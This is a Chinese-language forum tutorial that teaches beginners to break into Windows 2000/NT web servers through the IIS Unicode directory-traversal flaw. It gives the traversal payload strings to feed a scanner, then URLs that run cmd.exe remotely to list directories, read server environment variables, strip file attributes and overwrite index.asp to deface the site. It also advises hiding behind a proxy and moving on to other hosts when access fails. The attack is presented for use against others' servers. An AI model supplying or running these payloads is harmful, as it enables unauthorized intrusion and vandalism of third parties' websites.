Unicode 漏洞入侵图文讲解(图)

迷失的爱

好好学习一下

撒旦

这里向广大初学者讲解一下使用UNICODE漏洞入侵的方法：

一，准备工具：RANGSCAN扫描器，IE5.0以上的浏览器。（一定要做代理，具体本站论坛有文章说明）

二，运行：RANGSCAN扫描器，在内容里填入：

中文WIN2000
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c1%1c../winnt/system32/cmd.exe

WIN NT4
/scripts/..%c1%9c../winnt/system32/cmd.exe

英文WIN2000
/scripts/..%c0%af../winnt/system32/cmd.exe

填完必要的内容后：按[扫描]开始
等一段时间后，如果该IP段有主机存在U漏洞的话会有提示：


三，已经找到漏洞，我们下一步就要进入主机了。
打开浏览器：在地址栏输入：http://x.x.x.x/scripts/..%255c.. ... 2/cmd.exe?/c+dir+c:\\
这时你就会看到：
------------------------------------------------------------
Directory of c:\\

2001-06-11 03:47p 289 default.asp
2001-06-11 03:47p 289 default.htm
2001-03-09 04:35p <DIR> Documents and Settings
2001-06-11 03:47p 289 index.asp
2001-06-11 03:47p 289 index.htm
2001-05-08 05:19a <DIR> Inetpub
2001-05-19 10:37p <DIR> MSSQL7
2001-03-09 04:22p <DIR> Program Files
2001-05-23 06:21p <DIR> WINNT
4 File(s) 1,156 bytes
5 Dir(s) 2,461,421,568 bytes free
-------------------------------------------------------------
好，你已经可以看到对方机器里C盘的根目录和文件了。
输入：http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set
这时一般情况下都会出现以下内容：
------------------------------------------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

ALLUSERSPROFILE=C:\\Documents and Settings\\All Users
CommonProgramFiles=C:\\Program Files\\Common Files
COMPUTERNAME=ON
ComSpec=C:\\WINNT\\system32\\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=x.x.x.x
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTPS=off
INSTANCE_ID=1
LOCAL_ADDR=x.x.x.x
NUMBER_OF_PROCESSORS=1
Os2LibPath=C:\\WINNT\\system32\\os2\\dll;
OS=Windows_NT
Path=C:\\WINNT\\system32;C:\\WINNT;C:\\WINNT\\System32\\Wbem;C:\\MSSQL7\\BINN
PATH_TRANSLATED=c:\\inetpub\\wwwroot
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Fa
----------------------------------------------------------------------------

我们看到了机器设置内容了，上面蓝色字的部分就是提示主页存放的位置（一般默认路径）
意思是他的主页存放在c:\\inetpub\\wwwroot的目录里，知道就好办了。
我们用命令：
http://x.x.x.x/scripts/..%c0%af. ... 2/cmd.exe?/c+dir+c:\\inetpub\\wwwroot
就可以看到主页存放目录里的文件了，
这里一般会有 default.asp , default.htm, index.asp, index.htm.等等，这些是默认的主页文件，当然每台机器，每个
管理员设置的都会有所不同，具体请自己分析。

四，找到主页目录后，我们假设主页文件是：index.asp
我们首先要确定文件是否可读写，我们用命令：
http://x.x.x.x/scripts/..%c0%af. ... exe?%20-r%20-h%20c:\\inetpub\\wwwroot\\index.asp
如果出现下面英文：
------------------------------------------------------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
-----------------------------------------------------------------------
恭喜你，你可以修改对方的网页了。
但如果出现下面英文：
-----------------------------------------------------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Access denied - C:\\inetpub\\wwwroot\\index.asp
----------------------------------------------------------------------
说明权限不够，放弃，换其他的主机吧。
我们继续。现在最简单的方法就是用ECHO改网页的内容。
我们首先要确定文件是否可读写，我们用命令：
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd\".exe?/c+echo+提醒网站有漏洞+> c:\\inetpub\\wwwroot\\index.asp
当看到
----------------------------------------------------------------------
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
-----------------------------------------------------------------------
的提示，你已经改了他的网页了，当你上网登陆他网站时，他的网页会一片空白中有提醒网站有漏洞几个字。呵呵，你想改成什么字也行。只要把命令中的中文换成你自己的中文就行了
如图所示